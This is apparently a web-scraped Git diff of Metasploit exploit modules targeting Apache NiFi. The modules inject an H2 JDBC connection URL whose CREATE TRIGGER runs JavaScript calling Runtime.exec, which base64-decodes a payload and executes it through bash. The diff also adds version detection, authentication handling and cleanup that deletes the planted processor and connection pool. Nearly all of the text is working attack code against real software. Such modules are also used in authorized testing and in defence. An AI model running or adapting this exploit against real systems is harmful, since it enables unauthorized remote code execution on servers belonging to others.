driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
|
||||
else
|
||||
# 1.16.0
|
||||
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
|
||||
end
|
||||
|
||||
body = {
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'component' => {
|
||||
@@ -198,12 +131,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'comments' => '',
|
||||
'properties' => {
|
||||
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
|
||||
# we can use a random db name here, the file is created automatically
|
||||
# XXX would mem work too?
|
||||
'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
|
||||
# we can use a random db name here, the file is created automatically if we write to disk. However, we can be more clean
|
||||
# by using mem here instead of file
|
||||
'Database Connection URL' => "jdbc:h2:mem:#{Rex::Text.rand_text_alpha_upper(6..12)};TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
|
||||
'Database Driver Class Name' => 'org.h2.Driver',
|
||||
# This seems to be installed by default, do we need the location?
|
||||
'database-driver-locations' => '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar', # 1.20.0 and 1.21.0, this is a required field to get the controller to start
|
||||
'database-driver-locations' => driver,
|
||||
"Max Total Connections": '1' # prevents us from getting multiple callbacks
|
||||
},
|
||||
'sensitiveDynamicPropertyNames' => []
|
||||
@@ -215,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool),
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
@@ -225,11 +158,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def configure_processor
|
||||
@processor_name = Rex::Text.rand_text_alphanumeric(6..10)
|
||||
body = {
|
||||
# "disconnectedNodeAcknowledged"=> false,
|
||||
'component' => {
|
||||
'id' => @processor,
|
||||
'name' => Rex::Text.rand_text_alphanumeric(6..10),
|
||||
'name' => @processor_name,
|
||||
'bulletinLevel' => 'WARN',
|
||||
'comments' => '',
|
||||
'config' => {
|
||||
@@ -252,18 +185,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 1
|
||||
'version' => 1 # needs to be 1 since we had 0 before
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting processor #{@processor} configuration", response, 200)
|
||||
check_response("PUTting processor #{@processor_name} (#{@processor}) configuration", response, 200)
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -271,18 +204,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
@cleanup_required = false
|
||||
|
||||
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
|
||||
if !response
|
||||
login_type = supports_login?
|
||||
|
||||
if !login_type
|
||||
CheckCode::Unknown
|
||||
else
|
||||
body = response.get_json_document
|
||||
if !body.key?('config')
|
||||
CheckCode::Safe
|
||||
elsif body['config']['supportsLogin']
|
||||
CheckCode::Detected
|
||||
elsif login_type
|
||||
@version = get_version
|
||||
if @version <= Rex::Version.new('1.21.0')
|
||||
CheckCode::Detected("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
|
||||
else
|
||||
CheckCode::Appears
|
||||
CheckCode::Safe("Apache NiFi instance supports logins but not non-vulnerable version detected: #{@version}")
|
||||
end
|
||||
else
|
||||
CheckCode::Appears('Apache NiFi instance does not support logins')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -307,10 +241,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# Delete processor
|
||||
delete_processor(@token, @processor, 3)
|
||||
vprint_good("Deleted processor #{@processor}")
|
||||
disable_dbconnectionpool
|
||||
stop_dbconnectionpool(@token, @db_con_pool)
|
||||
vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")
|
||||
sleep(datastore['DELAY'])
|
||||
delete_dbconnectionpool
|
||||
delete_dbconnectionpool(@token, @db_con_pool)
|
||||
vprint_good("Deleted db connection pool #{@db_con_pool}")
|
||||
end
|
||||
|
||||
@@ -318,7 +252,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
validate_config
|
||||
|
||||
# Check whether login is required and set/fetch token
|
||||
if supports_login
|
||||
if supports_login?
|
||||
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
|
||||
fail_with(Failure::BadConfig,
|
||||
'Authentication is required. Bearer-Token or Username and Password must be specified')
|
||||
@@ -332,6 +266,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
@token = false
|
||||
end
|
||||
|
||||
if @version.nil?
|
||||
@version = get_version
|
||||
end
|
||||
|
||||
# Retrieve root process group
|
||||
@process_group = fetch_root_process_group(@token)
|
||||
vprint_good("Retrieved process group: #{@process_group}")
|
||||
@@ -347,9 +285,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
vprint_good("Configured processor #{@processor}")
|
||||
configure_dbconpool
|
||||
vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")
|
||||
enable_dbconpool
|
||||
start_dbconpool(@token, @db_con_pool)
|
||||
vprint_good('Enabling db connection pool')
|
||||
start_processor
|
||||
start_processor(@token, @processor)
|
||||
vprint_good('Starting processor')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5,7 +5,6 @@
|
||||
|
||||
# Potential Improvements:
|
||||
# Add option to authenticate using client certificate
|
||||
# Add a scanner module?
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
@@ -74,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
||||
OptInt.new('DELAY', [
|
||||
true,
|
||||
'The delay (s) before stopping and deleting the processor',
|
||||
@@ -101,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
@@ -123,18 +122,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
@cleanup_required = false
|
||||
|
||||
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
|
||||
if !response
|
||||
login_type = supports_login?
|
||||
|
||||
if !login_type
|
||||
CheckCode::Unknown
|
||||
elsif login_type
|
||||
CheckCode::Detected('Apache NiFi instance supports logins')
|
||||
else
|
||||
body = response.get_json_document
|
||||
if !body.key?('config')
|
||||
CheckCode::Safe
|
||||
elsif body['config']['supportsLogin']
|
||||
CheckCode::Detected
|
||||
else
|
||||
CheckCode::Appears
|
||||
end
|
||||
CheckCode::Appears('Apache NiFi instance does not support logins')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -165,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
validate_config
|
||||
|
||||
# Check whether login is required and set/fetch token
|
||||
if supports_login
|
||||
if supports_login?
|
||||
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
|
||||
fail_with(Failure::BadConfig,
|
||||
'Authentication is required. Bearer-Token or Username and Password must be specified')
|
||||
|
||||
Reference in New Issue
Block a user